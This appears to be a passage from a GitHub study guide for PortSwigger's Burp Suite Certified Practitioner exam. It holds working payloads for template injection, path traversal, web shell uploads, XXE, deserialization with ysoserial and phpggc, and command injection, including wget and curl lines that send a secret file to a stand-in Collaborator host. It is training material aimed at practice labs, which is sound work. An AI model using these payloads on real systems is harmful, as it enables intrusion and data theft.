}}{{7*7}} 

{{fuzzer}}
${fuzzer}
${{fuzzer}}

${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
${foobar}

{% debug %}

Identification of template injection.

Identify SSTI

Tornado

Tornado Template can be identified using a }}{{ 7*7}} payload that breakout of current expression and evaluate 7*7.

}}
{% import os %}
{{os.system('cat /home/carlos/secret')

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('cat%20/home/carlos/secret')

The preferred name" functionality in the user account profile page is altered and on blog post comment the output displayed.

Tornado Template

Output from reloading the comment previously saved by logged in user after changing the preferred display name.

ssti tornado results

Lab: Basic server-side template injection code context

Django

Django Template uses debug tag to display debugging information.

${{<%[%'"}}%\,
{% debug %} 
{{settings.SECRET_KEY}}

Django template

PortSwigger Lab: Server-side template injection with information disclosure via user-supplied objects

Freemarker

Freemarker Template Content-Manager (C0nt3ntM4n4g3r)

${foobar}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }

Freemarker template

PortSwigger Lab: Server-side template injection using documentation

ERB

Identify ERB template.

<%= 7*7 %>

ERB Template documentation reveals that you can list all directories and then read arbitrary files as follows:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

<%= system("cat /home/carlos/secret") %>

ERB template

PortSwigger Lab: Basic server-side template injection

Handlebars

Handlebars Template

${{<%[%'"}}%\,
wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('wget https://COLLABORATOR.net --post-file=/home/carlos/secret');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

Handlebars template

PortSwigger Lab: Server-side template injection in an unknown language

PortSwigger Research SSTI

Note: Identify the Update forgot email template message under the admin_panel at the path /update_forgot_email.

File Path Traversal

Directory traversal attacks allow the malicious actor to read file on the server. Identify web parameters such as filename= that are requesting files.

  1. Application blocks traversal sequences but treats the supplied filename as being relative to a absolute path and can be exploit with /etc/passwdabsolute path to target file payload.
  2. Images on target is loaded using filename parameter, and is defending against traversal attacks by stripping path traversal. Exploit using ....//....//....//....//etc/passwd payloads.
  3. Using URL-encoded ..%252f..%252f..%252fetc/passwd payload can bypass application security controls.
  4. Leading the beginning of the filename referenced with the original path and then appending /var/www/images/../../../etc/passwd payload at end bypasses the protection.
  5. Using a null byte character at end plus an image extension to fool APP controls that an image is requested, this ../../../etc/passwd%00.png payload succeed.

Corresponding Directory traversal labs.

  1. PortSwigger Lab: File path traversal, traversal sequences blocked with absolute path bypass
  2. PortSwigger Lab: File path traversal, traversal sequences stripped non-recursively
  3. PortSwigger Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
  4. PortSwigger Lab: File path traversal, validation of start of path
  5. PortSwigger Lab: File path traversal, validation of file extension with null byte bypass
  6. Windows OS accept both ../ and ..\ for directory traversal syntax, and as example retrieving /loadImage?filename=..\..\..\windows\win.ini on windows target to identify valid path traversal.

file-path-traversal-null-byte.png

Admin Portal Files

On the admin portal identify that the images are loaded using imagefile= parameter. Test if vulnerable to directory traversal. The imagefile parameter is vulnerable to directory traversal path attacks, enabling read access to arbitrary files on the server.

GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Note: Add the fuzzing path traversal payload from drop-down list option, "Add from list ...". Then set processing rule on the provided payload to replace the FILE place holder with reg-ex \{FILE\} for each of the attacks.

payloads for path traverse

Burp Intruder provides a predefined payload list, as example "Fuzzing - path traversal".

PortSwigger Academy File-path-traversal

File Uploads

Bypass Upload Controls
XXE via SVG Image upload
Remote File Inclusion

Bypass Upload Controls

A vulnerable image upload function or avatar logo upload, can by exploited and security controls bypassed to upload content to extract sensitive data or execute code server side.

Identify any type of file upload function.

Identify file upload

A simple bypass technique is to specify Content-Type to value of image/jpeg and then uploading exploit.php file with the below payload. The code of the exploit.php file below will read the /home/carlos/secret sensitive information.

<?php echo file_get_contents('/home/carlos/secret'); ?>

File upload vulnerabilities bypass techniques:

  1. Upload the file name and include obfuscated path traversal ..%2fexploit.php and retrieve the content GET /files/avatars/..%2fexploit.php
  2. Upload a file named, exploit.php%00.jpg with trailing null character and get the file execution at /files/avatars/exploit.php
  3. Create polygot using valid image file, by running the command in bash terminal: exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" ./stickman.png -o polyglot2023.php. Once polygot uploaded, view the extracted data by issue a GET request to the uploaded path /files/avatars/polyglot.php , and search the response content for the phrase START to obtain the sensitive data.
  4. Upload two different files. First upload .htaccess with Content-Type: text/plain, and the file data value set to AddType application/x-httpd-php .l33t. This will allow the upload and execute of second file upload named, exploit.l33t with extension ;333t.
  5. If target allow Remote File Include(RFI), upload from remote URL, then host and exploit file with the following GIF magic bytes: GIF89a; <?php echo file_get_contents('/home/carlos/secret'); ?>. The file name on exploit server could read image.php%00.gif.

Matching file upload vulnerable labs:

  1. PortSwigger Lab: Web shell upload via path traversal
  2. PortSwigger Lab: Web shell upload via obfuscated file extension
  3. PortSwigger Lab: Remote code execution via polyglot web shell upload
  4. PortSwigger Lab: Web shell upload via extension blacklist bypass

File upload stages

XXE via SVG Image upload

Identify image upload on the blog post function that accept svg images, and observe that the avatars already on blog source code is svg extensions.

The content of the image.svg file uploaded:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

xxe svg upload file

PortSwigger Lab: Exploiting XXE via image file upload

Remote File Inclusion

RFI function on target allow the upload of image from remote HTTPS URL source and perform to validation checks, the source URL must be HTTPS and the file extension is check, but the MIME content type or file content is not validated.

Methods to bypass extension validation:

  1. Extension with varied capitalization, such as .sVG
  2. Double extension, such as .jpg.svg or .svg.jpg
  3. Extension with a delimiter, such as %0a, %09, %0d, %00, #. Other examples, file.png%00.svg or file.png\x0d\x0a.svg
  4. Empty filename, .svg
  5. Try to cut allowed extension with more than the maximum filename length.
fileurl=https://EXPLOIT.net/images.sVg

RFI function

I am missing some key info and need to identify PortSwigger research about RFI.

XSS SVG Upload

Uploading of SVG file that contains JavaScript that performs cross site scripting attack.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS!");
   </script>
</svg>

Deserialization

CustomTemplate PHP
Burp Deserialization Scanner
YsoSerial

CustomTemplate PHP

Reading page source code and noticing comment mentioning , this identify possible PHP framework and the Burp scanner identify serialized session cookie object after we logged in with stolen wiener:peter credentials.

info-disclose

Reviewing PHP source code by adding tilde ~ character at end of GET request https://target.net/libs/CustomTemplate.php~, we notice the destruct method.

comments-in-source-code

Original Decoded cookie

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bi0egmdu49lnl9h2gxoj3at4sh3ifh9x";}

Make new PHP serial CustomTemplate object with the lock_file_path attribute set to /home/carlos/morale.txt. Make sure to use the correct data type labels and length indicators. The 's' indicate string and the length.

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

modify-serial-cookie

PortSwigger Lab: Arbitrary object injection in PHP

Note: In BSCP exam not going to run this as it delete the file, but in exam read source code to identify the unserialize() PHP function and extract content out-of-band using PHPGGC.

./phpggc Symfony/RCE4 exec 'wget http://Collaborator.com --post-file=/home/carlos/secret' | base64

PortSwigger Lab: Exploiting PHP deserialization with a pre-built gadget chain

Burp Deserialization Scanner

Intercept the admin panel page request and identify the serial value of the cookie named admin-prefs. This challenge is from the Burp Practice exam.

Admin prefs serial cookie

Use below payload in the Deserialization scanner exploiting Java jar ysoserial command, to obtain remote code execution (RCE) when payload de-serialized on target.

CommonsCollections3 'wget http://Collaborator.net --post-file=/home/carlos/secret'

ysoserial-rce

YsoSerial

Below is ysoserial command line execution to generate base64 encoded serialized cookie object containing payload.

IMPORTANT: If you get error message when executing java -jar ysoserial <Payload> saying something in lines of java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets, the switch to alternative Java on Linux with following commands.

java --version
update-java-alternatives --list
sudo update-java-alternatives --set /usr/lib/jvm/java-1.11.0-openjdk-amd64
java --version

Switch Java version

Now execute ysoserial to generate base64 payload, using Java version 11. Replace session cookie with generated base64 payload and URL encode only the key characters before sending request.

java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 'wget http://Collaborator.net --post-file=/home/carlos/secret' | base64 -w 0

ysoserial Command

PortSwigger Lab: Exploiting Java deserialization with Apache Commons

OS Command Injection

Feedback

The target application submit feedback function require email value, and identifying blind OS command injection by appending ||curl COLLABORATOR.net|| bash command, we then can observe a request made to Collaborator.

[email protected]||curl+`whoami`.COLLABORATOR.net||

OS command injection

PortSwigger Lab: Blind OS command injection with out-of-band data exfiltration

Appendix

This section contain additional information to solving the PortSwigger labs and approaching the BSCP exam, such as the Youtube content creators, Burp speed scanning technique, python scripts and Obfuscation techniques to bypass filters.

Obfuscation
Python Scripts
Focus Scanning
Approach
YouTube Channels

Obfuscation

Obfuscation is the action of making something obscure, unclear, or unintelligible.

URL replacing the period character . with encoded value of %2e.

Double-encode the injecting payload.

/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

HTML encode one or more of the characters

<img src=x onerror="&#x61;lert(1)">

XML encode for bypassing WAFs

<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
         999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>

Multiple encodings together

<a href="javascript:&bsol;u0061lert(1)">Click me</a>

SQL CHAR

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

Obfuscating attacks using encodings

Python Scripts

Python script to identify vulnerabilities in the exam and provide indicators of exploits.

Python Script to identify possible vulnerabilities in headers, cookies or the response body

Lab Automated Python Scripts

Automate the solving of the labs using python scripts

Focus Scanning

Due to the tight time limit during engagements or exam, scan defined insertion points for specific requests.

scan-defined-insertion-points

Scanner detected XML injection vulnerability on storeId parameter and this lead to reading the secret Carlos file.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

Out of band XInclude request, need hosted DTD to read local file.

<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://COLLABORATOR.NET/foo"/></hqt>

PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning

Approach

When stuck in BSCP exam, reference the below Micah van Deusen blog tip 5 table of category to stages for ways to progress through the stages.

MicahVanDeusens-blog

The image below is my view of possible vulnerabilities identified and exploitation to reach the next BSCP exam stage and progress through the exam challenges.

Three stages

YouTube Training Playlist

My YouTube BSCP Study Playlist

Youtube Information Security content creators channels:

  1. Rana Khalil
  2. David Bombal
  3. intigriti
  4. Seven Seas Security
  5. z3nsh3ll
  6. The Cyber Mentor
  7. Tib3rius
  8. John Hammond
  9. TraceTheCode
  10. Sabyasachi Paul
  11. bmdyy
  12. CyberSecurityTV
  13. nu11 security
  14. PortSwigger
  15. IppSec
  16. TJCHacking
  17. LiveUnderflow
  18. JSONSEC
  19. thehackerish
  20. Daniel Redfern

Footnote

My experience so far taking the PortSwigger exam, it is designed to be challenging, it is not straight forward vulnerabilities, twisted challenges, mixed academy labs into single stage and even rabbit holes.
Perseverance: Persistence in doing something despite difficulty or delay in achieving success.
OSCP certification taught me to #TryHarder and gave me the foundation penetration testing skills.
I believe eventually I will pass the BSCP exam and it has already given me the next level of web application security analyst knowledge.

Support

If you find the content valuable for Bug Bounty, Penetration Testing or Burp Exam studies, I will appreciate sponsoring me 'coffee' funds to pay for my next exam

burp-suite-certified-practitioner-exam-study's People

Contributors

botesjuan avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.